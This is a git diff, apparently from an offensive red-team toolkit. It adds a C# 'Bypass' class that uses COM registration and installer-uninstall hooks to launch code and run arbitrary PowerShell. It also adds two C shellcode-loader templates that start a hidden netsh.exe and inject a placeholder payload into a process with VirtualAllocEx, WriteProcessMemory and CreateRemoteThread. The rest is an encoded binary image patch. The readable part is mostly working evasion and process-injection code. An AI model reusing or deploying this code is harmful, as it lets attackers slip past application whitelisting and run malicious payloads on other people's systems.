+public class Bypass : ServicedComponent +{ + [ComRegisterFunction] + public static void RegisterClass ( string key ) + { + Program.Main(); + } + + [ComUnregisterFunction] + public static void UnRegisterClass ( string key ) + { + Program.Main(); + } +} + +[System.ComponentModel.RunInstaller(true)] +public class Sample : System.Configuration.Install.Installer +{ + public override void Uninstall(System.Collections.IDictionary savedState) + { + Program.Main(); + } + public static string InvokeAutomation(string cmd) + { + Runspace newrunspace = RunspaceFactory.CreateRunspace(); + newrunspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); + Pipeline pipeline = newrunspace.CreatePipeline(); + + pipeline.Commands.AddScript(cmd); + Collection results = pipeline.Invoke(); + newrunspace.Close(); + + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj); + } + return stringBuilder.ToString().Trim(); + } +} diff --git a/Files/Shellcode.c b/Files/Shellcode.c new file mode 100644 index 0000000..a4bab98 --- /dev/null +++ b/Files/Shellcode.c @@ -0,0 +1,69 @@ +#define WINVER 0x0501 + +#include +#include +#include +#include + +#REPLACEME# + +void pump(DWORD); + +int main(int argc, char *argv[]) +{ + int x = atoi(argv[1]); + STARTUPINFO si = { sizeof(STARTUPINFO) }; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + PROCESS_INFORMATION pi= {0}; + + BOOL bSuccess = FALSE; + DWORD dwPid = 0; + bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); + int processID = GetCurrentProcessId(); + if (bSuccess) + { + dwPid = GetProcessId(pi.hProcess); + } + if (x > 0) + { + pump(x); + } else { + //pump(dwPid); + pump(processID); + } + while(1) {Sleep(50000);} + return 0; +} + + +void pump(DWORD dwProcessID) { + HANDLE hProc; + HANDLE hRemoteThread; + PVOID pRemoteBuffer; + + if(!dwProcessID) { + printf("No ProcessID Passed"); + } + hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); + if(!hProc) { + printf("Cannot OP"); + } + + pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pRemoteBuffer) { + printf("Error: VA"); + } + if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) { + printf("Error: WPM"); + } + + hRemoteThread = CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL); + if (!hRemoteThread) { + printf("Error: CRT"); + } + CloseHandle(hProc); + + printf("DONE"); +} diff --git a/Files/Shellcode_migrate.c b/Files/Shellcode_migrate.c new file mode 100644 index 0000000..903bb09 --- /dev/null +++ b/Files/Shellcode_migrate.c @@ -0,0 +1,66 @@ +#define WINVER 0x0501 + +#include +#include +#include +#include + +#REPLACEME# + +void pump(DWORD); + +int main(int argc, char *argv[]) +{ + int x = atoi(argv[1]); + STARTUPINFO si = { sizeof(STARTUPINFO) }; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + PROCESS_INFORMATION pi= {0}; + + BOOL bSuccess = FALSE; + DWORD dwPid = 0; + bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); + if (bSuccess) + { + dwPid = GetProcessId(pi.hProcess); + } + if (x > 0) + { + pump(x); + } else { + pump(dwPid); + } + return 0; +} + + +void pump(DWORD dwProcessID) { + HANDLE hProc; + HANDLE hRemoteThread; + PVOID pRemoteBuffer; + + if(!dwProcessID) { + printf("No ProcessID Passed"); + } + hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); + if(!hProc) { + printf("Cannot OP"); + } + + pRemoteBuffer = VirtualAllocEx(hProc, NULL, sizeof(sc)*2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pRemoteBuffer) { + printf("Error: VA"); + } + if (!WriteProcessMemory(hProc, pRemoteBuffer, sc, sizeof(sc), NULL)) { + printf("Error: WPM"); + } + + hRemoteThread = CreateRemoteThread(hProc, NULL, 0, pRemoteBuffer, NULL, 0, NULL); + if (!hRemoteThread) { + printf("Error: CRT"); + } + CloseHandle(hProc); + + printf("DONE"); +} \ No newline at end of file diff --git a/Files/firewall.png b/Files/firewall.png new file mode 100644 index 0000000000000000000000000000000000000000..40e4d64417edefa2f7f41f9bc2d26ca4d6629d36 GIT binary patch literal 5765 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 